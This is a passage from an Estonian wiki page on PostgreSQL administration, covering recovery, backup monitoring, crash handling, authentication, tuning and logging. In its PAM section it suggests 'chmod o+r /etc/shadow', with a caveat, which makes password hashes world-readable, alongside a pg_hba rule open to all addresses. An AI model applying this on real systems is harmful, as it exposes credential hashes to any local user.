  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
